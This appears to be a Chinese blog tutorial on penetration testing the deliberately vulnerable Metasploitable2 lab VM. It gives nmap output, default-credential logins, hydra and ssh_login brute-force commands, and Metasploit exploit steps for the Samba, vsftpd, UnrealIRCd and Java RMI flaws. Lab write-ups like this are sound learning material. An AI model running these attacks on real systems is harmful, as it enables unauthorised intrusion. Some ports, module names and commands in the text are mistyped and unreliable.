Metasploitable2靶机渗透

Metasploitable2介绍

   Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。版本2已经可以下载,并且比上一个版本包含更多可利用的安全漏洞。这个版本的虚拟系统兼容VMware,VirtualBox,和其他虚拟平台。默认只开启一个网络适配器并且开启NAT和Host-only,本镜像一定不要暴漏在一个易受攻击的网络中。

进行此次靶机练习的原因

   其中存在的的诸多漏洞中,年代也是比较久远的,尽行这个实验的目的就是通过自己搭建的靶机环境熟练渗透测试的方法和流程,巩固自己的渗透思路。因此,在这次实验中会针对一个问题进行多工具多手段的操作,这并不是画蛇添足,因为每个工具每种方法都有它的长处与弊端,不要过于依赖某个工具,这会使你在今后真正的渗透测试中更加的自信。

环境的配置

攻击机: kali linux  ip:192.168.111.131 (ip经过处理)
靶机 :Metasploitable2   靶机ip:192.168.111.130 (ip经过处理)
下载地址:https://sourceforge.net/projects/metasploitable/
下载后如果是一个没有后缀的文件记得要修改后缀为.zip,然后解压,用虚拟机打开就可以直接使用。
账号/密码:msfadmin/msfadmin
在这里插入图片描述
至此,环境搭建完成,可以正式进行本次渗透测试的实验。

开始实验

主动信息收集

使用nmap进行信息收集

   作为攻击者,在渗透测试前要做的第一件事常常是使用nmap进行网络端口以及服务的扫描。同样坏小子们也常常利用这些端口作为一个远程的接入点实施攻击。
通过使用nmap扫描,我们获得的很多的信息:
在这里插入图片描述

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.111.131
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
53/tcp   open  domain      ISC BIND 9.4.2
| dns-nsid: 
|_  bind.version: 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100003  2,3,4       2049/tcp  nfs
|   100003  2,3,4       2049/udp  nfs
|   100005  1,2,3      44524/tcp  mountd
|   100005  1,2,3      50824/udp  mountd
|   100021  1,3,4      34418/tcp  nlockmgr
|   100021  1,3,4      42868/udp  nlockmgr
|   100024  1          45331/udp  status
|_  100024  1          47763/tcp  status
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp  open  exec?
513/tcp  open  login?
514/tcp  open  shell?
1099/tcp open  java-rmi    Java RMI Registry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
|_mysql-info: ERROR: Script execution failed (use -d to debug)
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Issuer: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2010-03-17T14:07:45
| Not valid after:  2010-04-16T14:07:45
| MD5:   dcd9 ad90 6c8f 2f73 74af 383b 2540 8828
|_SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6
|_ssl-date: 2019-04-13T05:26:00+00:00; -31s from scanner time.
5900/tcp open  vnc         VNC (protocol 3.3)
| vnc-info: 
|   Protocol version: 3.3
|   Security types: 
|_    VNC Authentication (2)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5

   扫描出了靶机开放的端口,以及所对应的服务。甚至靶机的操作系统。不过经过实践来看,这个操作系统识别的准确率是存在问题的,还是那句话,任何工具的结果都是一个仅供参考的结果,也不要过于依赖任何一个工具所做的结果。
在这里插入图片描述

使用Masscan扫描(最快的端口扫描器)

在进行主动扫描的时候,有很多的工具可以使用。长期以来,渗透测试人员以及坏小子们都习惯使用nmap进行扫描,获取IP地址和端口号。但是这个情况正在发生改变。大范围的网络IP段扫描用时较长,在这种情况下,Masscan就可以派上用场。
Masscan的安装也十分简单,没有在这里大体提一下:

$ sudo apt-get install git gcc make libpcap-dev
$ git clone https://github.com/robertdavidgraham/masscan
$ cd masscan
$ make

使用Masscan扫描端口:
在这里插入图片描述
同样也扫出了靶机上开放的端口。

漏洞扫描

待补充······

弱口令漏洞

原理:系统或者数据库的登陆用户,密码简单或者用户名相同,容易通过暴力破解的手段来获取密码。
影响范围:所有使用用户名/密码登陆的系统和软件都有可能存在此问题
1.系统弱口令漏洞
在kali命令中输入:telnet 192.168.111.130
login/password为msfadmin/msfadmin
(思路:开放着22端口)
在这里插入图片描述
2.Mysql弱密码登陆
在kali中执行mysql -h 192.168.111.130
登陆成功,进入mysql系统
(思路:开放着3306端口)
3.PostgreSQL弱密码登陆
在kali中输入psql -h 192.168.111.130 -U postgres
输入密码:postgres
(思路:开放着5432端口)
在这里插入图片描述
4.VNC弱密码登陆
在kali中执行vnccviewer 192.168.222.130
输入密码:password
(思路:vnc的默认端口是5901。vnc并不是只有一个端口。此处是5900端口)
在这里插入图片描述
5.FTP弱口令登陆
这次操作就使用kali自带的爆破工具(hydra)进行爆破一下
命令:hydra 192.168.111.130 ftp -L/root/users.txt admin -P /root/pass.txt
在这里插入图片描述
到这里,对弱口令漏洞的利用就告一段落。下面进行其他漏洞利用的实验。

Samba MS-RPC Shell命令注入漏洞

**漏洞产生原因:**传递通过MS-RPC提供的未过滤的用户输入在调用定义的外部脚本时调用/bin/sh,在smb.conf中,导致允许远程命令执行。
影响的系统/软件:
Xerox WorkCentre Pro

Xerox WorkCentre

VMWare ESX Server

Turbolinux Server/Personal/Multimedia/Home/Desktop/Appliance/FUJI

Trustix Secure Linux

SUSE Linux Enterprise

Sun Solaris

Slackware Linux

RedHat Enterprise

Mandriva Linux
漏洞利用:
1.启动Metasploit
2.搜索有关samba漏洞的代码库 search samba
3.使用usermap_script代码 use exploit/multi/samba/usermap_script
4.查看攻击载荷 show payloads
并选择bind_netcat即使用netcat工具在渗透攻击成功后执行shell并通过netcat绑定在一个监听端口上
5.查看参数配置 show options
6.设置目标ip、port等参数 set RHOST 192.168.111.130
7.执行exploit获得shell

Vsftpd源码包含后门漏洞

**思路:**开放着21端口,并且vsftpd版本号为2.3.4
原理: 在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“: )”结尾时,服务器就会在6200端口监听,并且能够执行任意代码
影响软件:
Vsftpd server v2.3.4
漏洞利用
1.启动Metsploit
2.搜索关于Vsftpd的了漏洞代码库 search vsftpd
3.使用代码 use exploit/unix/ftp/vsftpd_234_backdoor
4.查看需要设置的参数 show options
5.设置个目标IP即可, set RHOST 192.168.111.130
6.执行攻击exploit

UnreallRCd后门漏洞

原理: 在2009年11月到2010年6月间分布于某些镜面站点的UnreallRCd,在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程攻击者能够执行任意代码。
影响系统/软件:
Unreal UnreallRCd3.2.8.1
漏洞利用
1.在终端中输入命令“search unreal ircd”,搜索ircd的相关工具和攻击载荷。
2.在终端中输入命令“use exploit/unix/irc/unre ircd 3281backdoor”,启用漏洞利用模块。
3.可以发现漏洞版本和荷载命名是对应的,漏洞版本是3.2.8.1,在Metasploit里有这个攻击荷载,所以直接使用,在终端中输入命令“show options",查看需要设置的相关项,“yes” 表示必须填写的参数。
4.接下来在终端中输入命令“set RHOST 【靶机ip】”,设置目标主机的IP地址
5.执行攻击exploit

Java RMI SERVER命令执行漏洞

思路: 开放了1099端口
影响系统/软件:
Oracle java RMI Server
漏洞利用:
1.启动metasploit
2.在终端中输入命令“search java_rmi_server”,搜索RMI的相关工具和攻击载荷。
3.在终端中输入命令“use exploit/multi/misc/java_rmi_server”,启用漏洞利用模块, 提示符就会提示进入到该路径下。
4.在终端中输入命令“show options”,查看需要设置的相关项,“yes”表示必须填写的参数。
5.在终端中输入命令“set RHOST 192.168.111.130”,设置目标主机的IP地址。
6.在终端中输入“exploit”, 实施攻击,攻击成功后,建立连接会话。
在这里插入图片描述

Tomcat 管理台默认口令漏洞

思路: 发现开放8081端口并且运行着ApacheTomcat/CoyoteJSP engine1.1。
原理: Tomcat管理台安装好后需要及时修改默认管理账户,并杜绝弱口令,成功登陆者可以部署任意web应用,包括webshell。
影响系统/软件:
Tomcat
利用步骤:
1.访问192.168.111.130:8081,点击“Tomcat Manager”,打开后台管理页面。在弹出的对话框中,输入默认的账户tomcat,密码tomcat,单击”ok”。
在这里插入图片描述

2.后面需要上传木马拿webshell,因为没有准备好的木马,这里就暂时跳过
在这里插入图片描述

Root用户弱口令漏洞(SSH爆破)

思路: 开启着22端口ssh服务
原理: root用户存在弱口令漏洞
影响系统/软件:
Linux
漏洞利用:
1.启动MSF终端
2.在终端中输入命令“search ssh_login”,搜索ssh_login的相关工具和攻击载荷。
3.在终端中输入命令“use auxiliary/scanner/ssh/ssh_login”,启用漏洞利用模块, 提示符就会提示进入到该路径下。
4. 在终端中输入命令“show options”,查看需要设置的相关项,“yes”表示必须填写的参数。
5.在终端中输入命令“set RHOST 192.168.111.130”,设置目标主机的IP地址。
6.在终端中输入“set USERNAME root”,指定登陆用户名root。
7. 在终端中输入“set PASS_FILE /home/passwd.txt”,设置暴力破解的密码文件路径。
8.在终端中输入“set THREADS 50”,设置暴力破解的线程数为50。
9.在终端中输入“run”, 开始向目标主机爆破ssh的登陆帐号和密码,登陆帐号为root,密码为root。
10.在终端中输入“ssh [email protected]”,连接目标主机。

发布了65 篇原创文章 · 获赞 58 · 访问量 8万+

猜你喜欢

转载自blog.csdn.net/CliffordR/article/details/89281726
今日推荐